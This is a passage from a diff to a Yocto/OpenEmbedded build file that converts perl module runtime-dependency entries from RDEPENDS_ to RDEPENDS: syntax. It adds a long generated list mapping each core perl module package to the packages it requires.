-RDEPENDS_perl-module-unicode-normalize += "perl-module-xsloader"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-charnames"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-exporter"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-feature"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-if"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-integer"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-re"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-strict"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-unicode-normalize"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-warnings"
-RDEPENDS_perl-module-user-grent += "perl-module-class-struct"
-RDEPENDS_perl-module-user-grent += "perl-module-exporter"
-RDEPENDS_perl-module-user-grent += "perl-module-strict"
-RDEPENDS_perl-module-user-pwent += "perl-module-class-struct"
-RDEPENDS_perl-module-user-pwent += "perl-module-config"
-RDEPENDS_perl-module-user-pwent += "perl-module-exporter"
-RDEPENDS_perl-module-user-pwent += "perl-module-strict"
-RDEPENDS_perl-module-user-pwent += "perl-module-warnings"
-RDEPENDS_perl-module-version += "perl-module-strict"
-RDEPENDS_perl-module-version += "perl-module-version-regex"
-RDEPENDS_perl-module-version += "perl-module-warnings-register"
-RDEPENDS_perl-module-version-regex += "perl-module-strict"
-RDEPENDS_perl-module-xsloader += "perl-module-dynaloader"
+
+# Some additional dependencies that the above doesn't manage to figure out
+RDEPENDS:perl-module-file-spec += "perl-module-file-spec-unix"
+RDEPENDS:perl-module-scalar-util += "perl-module-list-util"
+RDEPENDS:perl-module-file-temp += "perl-module-scalar-util"
+RDEPENDS:perl-module-file-temp += "perl-module-file-spec"
+RDEPENDS:perl-module-io-file += "perl-module-symbol"
+RDEPENDS:perl-module-io-file += "perl-module-carp"
+RDEPENDS:perl-module-math-bigint += "perl-module-math-bigint-calc"
+RDEPENDS:perl-module-test-builder += "perl-module-list-util"
+RDEPENDS:perl-module-test-builder += "perl-module-scalar-util"
+RDEPENDS:perl-module-test-builder-formatter += "perl-module-test2-formatter-tap"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-fail"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-pass"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-v2"
+RDEPENDS:perl-module-test2-formatter-tap += "perl-module-test2-formatter"
+RDEPENDS:perl-module-thread-queue += "perl-module-attributes"
+RDEPENDS:perl-module-overload += "perl-module-overloading"
+
+# Generated depends list beyond this line
+RDEPENDS:perl-module-anydbm-file += "perl-module-strict"
+RDEPENDS:perl-module-anydbm-file += "perl-module-warnings"
+RDEPENDS:perl-module-app-cpan += "perl-module-config"
+RDEPENDS:perl-module-app-cpan += "perl-module-constant"
+RDEPENDS:perl-module-app-cpan += "perl-module-cpan"
+RDEPENDS:perl-module-app-cpan += "perl-module-cwd"
+RDEPENDS:perl-module-app-cpan += "perl-module-data-dumper"
+RDEPENDS:perl-module-app-cpan += "perl-module-file-basename"
+RDEPENDS:perl-module-app-cpan += "perl-module-file-find"
+RDEPENDS:perl-module-app-cpan += "perl-module-getopt-std"
+RDEPENDS:perl-module-app-cpan += "perl-module-if"
+RDEPENDS:perl-module-app-cpan += "perl-module-net-ping"
+RDEPENDS:perl-module-app-cpan += "perl-module-strict"
+RDEPENDS:perl-module-app-cpan += "perl-module-user-pwent"
+RDEPENDS:perl-module-app-cpan += "perl-module-vars"
+RDEPENDS:perl-module-app-cpan += "perl-module-warnings"
+RDEPENDS:perl-module-app-prove += "perl-module-app-prove-state"
+RDEPENDS:perl-module-app-prove += "perl-module-base"
+RDEPENDS:perl-module-app-prove += "perl-module-constant"
+RDEPENDS:perl-module-app-prove += "perl-module-getopt-long"
+RDEPENDS:perl-module-app-prove += "perl-module-strict"
+RDEPENDS:perl-module-app-prove += "perl-module-tap-harness"
+RDEPENDS:perl-module-app-prove += "perl-module-tap-harness-env"
+RDEPENDS:perl-module-app-prove += "perl-module-text-parsewords"
+RDEPENDS:perl-module-app-prove += "perl-module-warnings"
+RDEPENDS:perl-module-app-prove-state += "perl-module-app-prove-state-result"
+RDEPENDS:perl-module-app-prove-state += "perl-module-base"
+RDEPENDS:perl-module-app-prove-state += "perl-module-constant"
+RDEPENDS:perl-module-app-prove-state += "perl-module-file-find"
+RDEPENDS:perl-module-app-prove-state += "perl-module-strict"
+RDEPENDS:perl-module-app-prove-state += "perl-module-tap-parser-yamlish-reader"
+RDEPENDS:perl-module-app-prove-state += "perl-module-tap-parser-yamlish-writer"
+RDEPENDS:perl-module-app-prove-state += "perl-module-warnings"
+RDEPENDS:perl-module-app-prove-state-result += "perl-module-app-prove-state-result-test"
+RDEPENDS:perl-module-app-prove-state-result += "perl-module-constant"
+RDEPENDS:perl-module-app-prove-state-result += "perl-module-strict"
+RDEPENDS:perl-module-app-prove-state-result += "perl-module-warnings"
+RDEPENDS:perl-module-app-prove-state-result-test += "perl-module-strict"
+RDEPENDS:perl-module-app-prove-state-result-test += "perl-module-warnings"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-constant"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-exporter"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-io-compress-bzip2"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-strict"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-time-local"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-vars"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-warnings"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-archive-tar"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-archive-tar-constant"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-file-basename"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-io-file"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-strict"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-vars"
+RDEPENDS:perl-module-archive-tar += "perl-module-archive-tar-constant"
+RDEPENDS:perl-module-archive-tar += "perl-module-archive-tar-file"
+RDEPENDS:perl-module-archive-tar += "perl-module-config"
+RDEPENDS:perl-module-archive-tar += "perl-module-cwd"
+RDEPENDS:perl-module-archive-tar += "perl-module-exporter"
+RDEPENDS:perl-module-archive-tar += "perl-module-file-path"
+RDEPENDS:perl-module-archive-tar += "perl-module-io-file"
+RDEPENDS:perl-module-archive-tar += "perl-module-io-zlib"
+RDEPENDS:perl-module-archive-tar += "perl-module-strict"
+RDEPENDS:perl-module-archive-tar += "perl-module-vars"
+RDEPENDS:perl-module-attribute-handlers += "perl-module-strict"
+RDEPENDS:perl-module-attribute-handlers += "perl-module-warnings"
+RDEPENDS:perl-module-attributes += "perl-module-exporter"
+RDEPENDS:perl-module-attributes += "perl-module-strict"
+RDEPENDS:perl-module-attributes += "perl-module-warnings"
+RDEPENDS:perl-module-attributes += "perl-module-xsloader"
+RDEPENDS:perl-module-autodie-exception += "perl-module-constant"
+RDEPENDS:perl-module-autodie-exception += "perl-module-fatal"
+RDEPENDS:perl-module-autodie-exception += "perl-module-fcntl"
+RDEPENDS:perl-module-autodie-exception += "perl-module-overload"
+RDEPENDS:perl-module-autodie-exception += "perl-module-strict"
+RDEPENDS:perl-module-autodie-exception += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-exception-system += "perl-module-parent"
+RDEPENDS:perl-module-autodie-exception-system += "perl-module-strict"
+RDEPENDS:perl-module-autodie-exception-system += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-hints += "perl-module-b"
+RDEPENDS:perl-module-autodie-hints += "perl-module-constant"
+RDEPENDS:perl-module-autodie-hints += "perl-module-strict"
+RDEPENDS:perl-module-autodie-hints += "perl-module-warnings"
+RDEPENDS:perl-module-autodie += "perl-module-constant"
+RDEPENDS:perl-module-autodie += "perl-module-lib"
+RDEPENDS:perl-module-autodie += "perl-module-parent"
+RDEPENDS:perl-module-autodie += "perl-module-strict"
+RDEPENDS:perl-module-autodie += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-scope-guard += "perl-module-strict"
+RDEPENDS:perl-module-autodie-scope-guard += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-scope-guardstack += "perl-module-autodie-scope-guard"
+RDEPENDS:perl-module-autodie-scope-guardstack += "perl-module-strict"
+RDEPENDS:perl-module-autodie-scope-guardstack += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-skip += "perl-module-strict"
+RDEPENDS:perl-module-autodie-skip += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-util += "perl-module-autodie-scope-guardstack"
+RDEPENDS:perl-module-autodie-util += "perl-module-exporter"
+RDEPENDS:perl-module-autodie-util += "perl-module-strict"
+RDEPENDS:perl-module-autodie-util += "perl-module-warnings"
+RDEPENDS:perl-module-autoloader += "perl-module-strict"
+RDEPENDS:perl-module-autosplit += "perl-module-config"
+RDEPENDS:perl-module-autosplit += "perl-module-exporter"
+RDEPENDS:perl-module-autosplit += "perl-module-file-basename"
+RDEPENDS:perl-module-autosplit += "perl-module-file-path"
+RDEPENDS:perl-module-autosplit += "perl-module-strict"
+RDEPENDS:perl-module-base += "perl-module-strict"
+RDEPENDS:perl-module-b-concise += "perl-module-b"
+RDEPENDS:perl-module-b-concise += "perl-module-b-op-private"
+RDEPENDS:perl-module-b-concise += "perl-module-config"
+RDEPENDS:perl-module-b-concise += "perl-module-exporter"
+RDEPENDS:perl-module-b-concise += "perl-module-feature"
+RDEPENDS:perl-module-b-concise += "perl-module-strict"
+RDEPENDS:perl-module-b-concise += "perl-module-warnings"
+RDEPENDS:perl-module-benchmark += "perl-module-exporter"
+RDEPENDS:perl-module-benchmark += "perl-module-strict"
+RDEPENDS:perl-module-bigfloat += "perl-module-constant"
+RDEPENDS:perl-module-bigfloat += "perl-module-exporter"
+RDEPENDS:perl-module-bigfloat += "perl-module-overload"
+RDEPENDS:perl-module-bigfloat += "perl-module-strict"
+RDEPENDS:perl-module-bigfloat += "perl-module-warnings"
+RDEPENDS:perl-module-bigint += "perl-module-constant"
+RDEPENDS:perl-module-bigint += "perl-module-exporter"
+RDEPENDS:perl-module-bigint += "perl-module-overload"
+RDEPENDS:perl-module-bigint += "perl-module-strict"
+RDEPENDS:perl-module-bigint += "perl-module-warnings"
+RDEPENDS:perl-module-bignum += "perl-module-constant"
+RDEPENDS:perl-module-bignum += "perl-module-exporter"
+RDEPENDS:perl-module-bignum += "perl-module-overload"
+RDEPENDS:perl-module-bignum += "perl-module-strict"
+RDEPENDS:perl-module-bignum += "perl-module-warnings"
+RDEPENDS:perl-module-bigrat += "perl-module-constant"
+RDEPENDS:perl-module-bigrat += "perl-module-exporter"
+RDEPENDS:perl-module-bigrat += "perl-module-overload"
+RDEPENDS:perl-module-bigrat += "perl-module-strict"
+RDEPENDS:perl-module-bigrat += "perl-module-warnings"
+RDEPENDS:perl-module-blib += "perl-module-cwd"
+RDEPENDS:perl-module-b += "perl-module-exporter"
+RDEPENDS:perl-module-b += "perl-module-xsloader"
+RDEPENDS:perl-module-b-showlex += "perl-module-b"
+RDEPENDS:perl-module-b-showlex += "perl-module-b-concise"
+RDEPENDS:perl-module-b-showlex += "perl-module-b-terse"
+RDEPENDS:perl-module-b-showlex += "perl-module-strict"
+RDEPENDS:perl-module-b-terse += "perl-module-b"
+RDEPENDS:perl-module-b-terse += "perl-module-b-concise"
+RDEPENDS:perl-module-b-terse += "perl-module-strict"
+RDEPENDS:perl-module-builtin += "perl-module-strict"
+RDEPENDS:perl-module-builtin += "perl-module-warnings"
+RDEPENDS:perl-module-b-xref += "perl-module-b"
+RDEPENDS:perl-module-b-xref += "perl-module-config"
+RDEPENDS:perl-module-b-xref += "perl-module-strict"
+RDEPENDS:perl-module-bytes += "perl-module-bytes-heavy"
+RDEPENDS:perl-module-bytes += "perl-module-strict"
+RDEPENDS:perl-module-bytes += "perl-module-warnings"
+RDEPENDS:perl-module--charnames += "perl-module-bytes"
+RDEPENDS:perl-module-charnames += "perl-module-bytes"
+RDEPENDS:perl-module-charnames += "perl-module--charnames"
+RDEPENDS:perl-module--charnames += "perl-module-re"
+RDEPENDS:perl-module-charnames += "perl-module-re"
+RDEPENDS:perl-module--charnames += "perl-module-strict"
+RDEPENDS:perl-module-charnames += "perl-module-strict"
+RDEPENDS:perl-module--charnames += "perl-module-warnings"
+RDEPENDS:perl-module-charnames += "perl-module-warnings"
+RDEPENDS:perl-module-class-struct += "perl-module-exporter"
+RDEPENDS:perl-module-class-struct += "perl-module-strict"
+RDEPENDS:perl-module-class-struct += "perl-module-warnings-register"
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-bytes "
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-constant"
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-dynaloader"
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-exporter"
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-strict "
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-warnings "
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-xsloader"
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-bytes "
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-constant"
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-dynaloader"
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-exporter"
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-strict "
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-warnings "
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-xsloader"
+RDEPENDS:perl-module-compress-zlib += "perl-module-bytes "
+RDEPENDS:perl-module-compress-zlib += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-compress-zlib += "perl-module-constant"
+RDEPENDS:perl-module-compress-zlib += "perl-module-exporter"
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-compress-gzip"
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-compress-gzip-constants"
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-handle "
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-uncompress-gunzip"
+RDEPENDS:perl-module-compress-zlib += "perl-module-strict "
+RDEPENDS:perl-module-compress-zlib += "perl-module-warnings "
+RDEPENDS:perl-module-config-extensions += "perl-module-config"
+RDEPENDS:perl-module-config-extensions += "perl-module-exporter"
+RDEPENDS:perl-module-config-extensions += "perl-module-strict"
+RDEPENDS:perl-module-config-perl-v += "perl-module-config"
+RDEPENDS:perl-module-config-perl-v += "perl-module-exporter"
+RDEPENDS:perl-module-config-perl-v += "perl-module-strict"
+RDEPENDS:perl-module-config-perl-v += "perl-module-vars"
+RDEPENDS:perl-module-config-perl-v += "perl-module-warnings"
+RDEPENDS:perl-module-constant += "perl-module-strict"
+RDEPENDS:perl-module-constant += "perl-module-warnings-register"
+RDEPENDS:perl-module-corelist += "perl-module-list-util"
+RDEPENDS:perl-module-corelist += "perl-module-corelist"
+RDEPENDS:perl-module-corelist += "perl-module-strict"
+RDEPENDS:perl-module-corelist += "perl-module-version"
+RDEPENDS:perl-module-corelist += "perl-module-warnings"
+RDEPENDS:perl-module-cpan += "perl-module-b"
+RDEPENDS:perl-module-cpan += "perl-module-config"
+RDEPENDS:perl-module-cpan += "perl-module-cwd"
+RDEPENDS:perl-module-cpan += "perl-module-data-dumper"
+RDEPENDS:perl-module-cpan += "perl-module-dirhandle"
+RDEPENDS:perl-module-cpan += "perl-module-errno"
+RDEPENDS:perl-module-cpan += "perl-module-exporter"
+RDEPENDS:perl-module-cpan += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-cpan += "perl-module-extutils-manifest"
+RDEPENDS:perl-module-cpan += "perl-module-fcntl"
+RDEPENDS:perl-module-cpan += "perl-module-file-basename"
+RDEPENDS:perl-module-cpan += "perl-module-file-copy"
+RDEPENDS:perl-module-cpan += "perl-module-file-find"
+RDEPENDS:perl-module-cpan += "perl-module-filehandle"
+RDEPENDS:perl-module-cpan += "perl-module-file-path"
+RDEPENDS:perl-module-cpan += "perl-module-json-pp"
+RDEPENDS:perl-module-cpan += "perl-module-lib"
+RDEPENDS:perl-module-cpan += "perl-module-net-ping"
+RDEPENDS:perl-module-cpan += "perl-module-overload"
+RDEPENDS:perl-module-cpan += "perl-module-posix"
+RDEPENDS:perl-module-cpan += "perl-module-safe"
+RDEPENDS:perl-module-cpan += "perl-module-strict"
+RDEPENDS:perl-module-cpan += "perl-module-sys-hostname"
+RDEPENDS:perl-module-cpan += "perl-module-term-readline"
+RDEPENDS:perl-module-cpan += "perl-module-text-parsewords"
+RDEPENDS:perl-module-cpan += "perl-module-text-wrap"
+RDEPENDS:perl-module-cpan += "perl-module-time-local"
+RDEPENDS:perl-module-cpan += "perl-module-vars"
+RDEPENDS:perl-module-cpan += "perl-module-warnings"
+RDEPENDS:perl-module-cwd += "perl-module-errno"
+RDEPENDS:perl-module-cwd += "perl-module-exporter"
+RDEPENDS:perl-module-cwd += "perl-module-strict"
+RDEPENDS:perl-module-cwd += "perl-module-xsloader"
+RDEPENDS:perl-module-data-dumper += "perl-module-constant"
+RDEPENDS:perl-module-data-dumper += "perl-module-exporter"
+RDEPENDS:perl-module-data-dumper += "perl-module-strict"
+RDEPENDS:perl-module-data-dumper += "perl-module-warnings"
+RDEPENDS:perl-module-data-dumper += "perl-module-xsloader"
+RDEPENDS:perl-module-dbm-filter-compress += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-compress += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter-encode += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-encode += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter-int32 += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-int32 += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter-null += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-null += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter-utf8 += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-utf8 += "perl-module-warnings"
+RDEPENDS:perl-module-db += "perl-module-strict"
+RDEPENDS:perl-module-deprecate += "perl-module-strict"
+RDEPENDS:perl-module-deprecate += "perl-module-warnings"
+RDEPENDS:perl-module-devel-peek += "perl-module-exporter"
+RDEPENDS:perl-module-devel-peek += "perl-module-xsloader"
+RDEPENDS:perl-module-devel-ppport += "perl-module-file-find"
+RDEPENDS:perl-module-devel-ppport += "perl-module-getopt-long"
+RDEPENDS:perl-module-devel-ppport += "perl-module-strict"
+RDEPENDS:perl-module-devel-ppport += "perl-module-vars"
+RDEPENDS:perl-module-devel-selfstubber += "perl-module-selfloader"
+RDEPENDS:perl-module-diagnostics += "perl-module-config"
+RDEPENDS:perl-module-diagnostics += "perl-module-getopt-std"
+RDEPENDS:perl-module-diagnostics += "perl-module-strict"
+RDEPENDS:perl-module-diagnostics += "perl-module-text-tabs"
+RDEPENDS:perl-module-digest-base += "perl-module-mime-base64"
+RDEPENDS:perl-module-digest-base += "perl-module-strict"
+RDEPENDS:perl-module-digest-base += "perl-module-warnings"
+RDEPENDS:perl-module-digest-file += "perl-module-digest"
+RDEPENDS:perl-module-digest-file += "perl-module-exporter"
+RDEPENDS:perl-module-digest-file += "perl-module-strict"
+RDEPENDS:perl-module-digest-file += "perl-module-warnings"
+RDEPENDS:perl-module-digest-md5 += "perl-module-digest-base"
+RDEPENDS:perl-module-digest-md5 += "perl-module-exporter"
+RDEPENDS:perl-module-digest-md5 += "perl-module-strict"
+RDEPENDS:perl-module-digest-md5 += "perl-module-warnings"
+RDEPENDS:perl-module-digest-md5 += "perl-module-xsloader"
+RDEPENDS:perl-module-digest += "perl-module-strict"
+RDEPENDS:perl-module-digest += "perl-module-warnings"
+RDEPENDS:perl-module-digest-sha += "perl-module-digest-base"
+RDEPENDS:perl-module-digest-sha += "perl-module-dynaloader"
+RDEPENDS:perl-module-digest-sha += "perl-module-exporter"
+RDEPENDS:perl-module-digest-sha += "perl-module-fcntl"
+RDEPENDS:perl-module-digest-sha += "perl-module-integer"
+RDEPENDS:perl-module-digest-sha += "perl-module-strict"
+RDEPENDS:perl-module-digest-sha += "perl-module-vars"
+RDEPENDS:perl-module-digest-sha += "perl-module-warnings"
+RDEPENDS:perl-module-digest-sha += "perl-module-xsloader"
+RDEPENDS:perl-module-dynaloader += "perl-module-config"
+RDEPENDS:perl-module-dynaloader += "perl-module-strict"
+RDEPENDS:perl-module-dynaloader += "perl-module-vars"
+RDEPENDS:perl-module-encode-alias += "perl-module-constant"
+RDEPENDS:perl-module-encode-alias += "perl-module-encode"
+RDEPENDS:perl-module-encode-alias += "perl-module-exporter"
+RDEPENDS:perl-module-encode-alias += "perl-module-strict"
+RDEPENDS:perl-module-encode-alias += "perl-module-warnings"
+RDEPENDS:perl-module-encode-byte += "perl-module-encode"
+RDEPENDS:perl-module-encode-byte += "perl-module-strict"
+RDEPENDS:perl-module-encode-byte += "perl-module-warnings"
+RDEPENDS:perl-module-encode-byte += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-cjkconstants += "perl-module-exporter"
+RDEPENDS:perl-module-encode-cjkconstants += "perl-module-strict"
+RDEPENDS:perl-module-encode-cjkconstants += "perl-module-warnings"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-encode"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-parent"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-strict"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-utf8"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-vars"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-warnings"
+RDEPENDS:perl-module-encode-cn += "perl-module-encode"
+RDEPENDS:perl-module-encode-cn += "perl-module-encode-cn-hz"
+RDEPENDS:perl-module-encode-cn += "perl-module-strict"
+RDEPENDS:perl-module-encode-cn += "perl-module-warnings"
+RDEPENDS:perl-module-encode-cn += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-config += "perl-module-strict"
+RDEPENDS:perl-module-encode-config += "perl-module-warnings"
+RDEPENDS:perl-module-encode-ebcdic += "perl-module-encode"
+RDEPENDS:perl-module-encode-ebcdic += "perl-module-strict"
+RDEPENDS:perl-module-encode-ebcdic += "perl-module-warnings"
+RDEPENDS:perl-module-encode-ebcdic += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-encoder += "perl-module-constant"
+RDEPENDS:perl-module-encode-encoder += "perl-module-encode"
+RDEPENDS:perl-module-encode-encoder += "perl-module-exporter"
+RDEPENDS:perl-module-encode-encoder += "perl-module-overload"
+RDEPENDS:perl-module-encode-encoder += "perl-module-strict"
+RDEPENDS:perl-module-encode-encoder += "perl-module-warnings"
+RDEPENDS:perl-module-encode-encoding += "perl-module-constant"
+RDEPENDS:perl-module-encode-encoding += "perl-module-encode"
+RDEPENDS:perl-module-encode-encoding += "perl-module-encode-mime-name"
+RDEPENDS:perl-module-encode-encoding += "perl-module-strict"
+RDEPENDS:perl-module-encode-encoding += "perl-module-warnings"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-encode"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-parent"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-strict"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-utf8"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-vars"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-warnings"
+RDEPENDS:perl-module-encode-guess += "perl-module-bytes"
+RDEPENDS:perl-module-encode-guess += "perl-module-constant"
+RDEPENDS:perl-module-encode-guess += "perl-module-encode"
+RDEPENDS:perl-module-encode-guess += "perl-module-encode-unicode"
+RDEPENDS:perl-module-encode-guess += "perl-module-parent"
+RDEPENDS:perl-module-encode-guess += "perl-module-strict"
+RDEPENDS:perl-module-encode-guess += "perl-module-warnings"
+RDEPENDS:perl-module-encode-jp-h2z += "perl-module-encode-cjkconstants"
+RDEPENDS:perl-module-encode-jp-h2z += "perl-module-strict"
+RDEPENDS:perl-module-encode-jp-h2z += "perl-module-vars"
+RDEPENDS:perl-module-encode-jp-h2z += "perl-module-warnings"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-bytes"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-encode"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-encode-cjkconstants"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-encode-jp-h2z"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-parent"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-strict"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-warnings"
+RDEPENDS:perl-module-encode-jp += "perl-module-encode"
+RDEPENDS:perl-module-encode-jp += "perl-module-encode-jp-jis7"
+RDEPENDS:perl-module-encode-jp += "perl-module-strict"
+RDEPENDS:perl-module-encode-jp += "perl-module-warnings"
+RDEPENDS:perl-module-encode-jp += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-encode"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-encode-cjkconstants"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-parent"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-strict"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-warnings"
+RDEPENDS:perl-module-encode-kr += "perl-module-encode"
+RDEPENDS:perl-module-encode-kr += "perl-module-encode-kr-2022-kr"
+RDEPENDS:perl-module-encode-kr += "perl-module-strict"
+RDEPENDS:perl-module-encode-kr += "perl-module-warnings"
+RDEPENDS:perl-module-encode-kr += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-constant"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-encode-cjkconstants"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-parent"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-strict"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-warnings"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-encode"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-mime-base64"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-parent"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-strict"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-warnings"
+RDEPENDS:perl-module-encode-mime-name += "perl-module-strict"
+RDEPENDS:perl-module-encode-mime-name += "perl-module-warnings"
+RDEPENDS:perl-module-encode += "perl-module-bytes"
+RDEPENDS:perl-module-encode += "perl-module-constant"
+RDEPENDS:perl-module-encode += "perl-module-encode-alias"
+RDEPENDS:perl-module-encode += "perl-module-encode-config"
+RDEPENDS:perl-module-encode += "perl-module-encode-configlocal-pm"
+RDEPENDS:perl-module-encode += "perl-module-encode-mime-name"
+RDEPENDS:perl-module-encode += "perl-module-exporter"
+RDEPENDS:perl-module-encode += "perl-module-parent"
+RDEPENDS:perl-module-encode += "perl-module-storable"
+RDEPENDS:perl-module-encode += "perl-module-strict"
+RDEPENDS:perl-module-encode += "perl-module-warnings"
+RDEPENDS:perl-module-encode += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-symbol += "perl-module-encode"
+RDEPENDS:perl-module-encode-symbol += "perl-module-strict"
+RDEPENDS:perl-module-encode-symbol += "perl-module-warnings"
+RDEPENDS:perl-module-encode-symbol += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-tw += "perl-module-encode"
+RDEPENDS:perl-module-encode-tw += "perl-module-strict"
+RDEPENDS:perl-module-encode-tw += "perl-module-warnings"
+RDEPENDS:perl-module-encode-tw += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-unicode += "perl-module-encode"
+RDEPENDS:perl-module-encode-unicode += "perl-module-parent"
+RDEPENDS:perl-module-encode-unicode += "perl-module-strict"
+RDEPENDS:perl-module-encode-unicode += "perl-module-warnings"
+RDEPENDS:perl-module-encode-unicode += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-encode"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-mime-base64"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-parent"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-re"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-strict"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-warnings"
+RDEPENDS:perl-module-encoding += "perl-module-config"
+RDEPENDS:perl-module-encoding += "perl-module-constant"
+RDEPENDS:perl-module-encoding += "perl-module-encode"
+RDEPENDS:perl-module-encoding += "perl-module-filter-util-call"
+RDEPENDS:perl-module-encoding += "perl-module-i18n-langinfo"
+RDEPENDS:perl-module-encoding += "perl-module-posix"
+RDEPENDS:perl-module-encoding += "perl-module-strict"
+RDEPENDS:perl-module-encoding += "perl-module-utf8"
+RDEPENDS:perl-module-encoding += "perl-module-warnings"
+RDEPENDS:perl-module-encoding-warnings += "perl-module-strict"
+RDEPENDS:perl-module-encoding-warnings += "perl-module-warnings"
+RDEPENDS:perl-module-english += "perl-module-exporter"
+RDEPENDS:perl-module-env += "perl-module-config"
+RDEPENDS:perl-module-env += "perl-module-tie-array"
+RDEPENDS:perl-module-errno += "perl-module-exporter"
+RDEPENDS:perl-module-errno += "perl-module-strict"
+RDEPENDS:perl-module-experimental += "perl-module-strict"
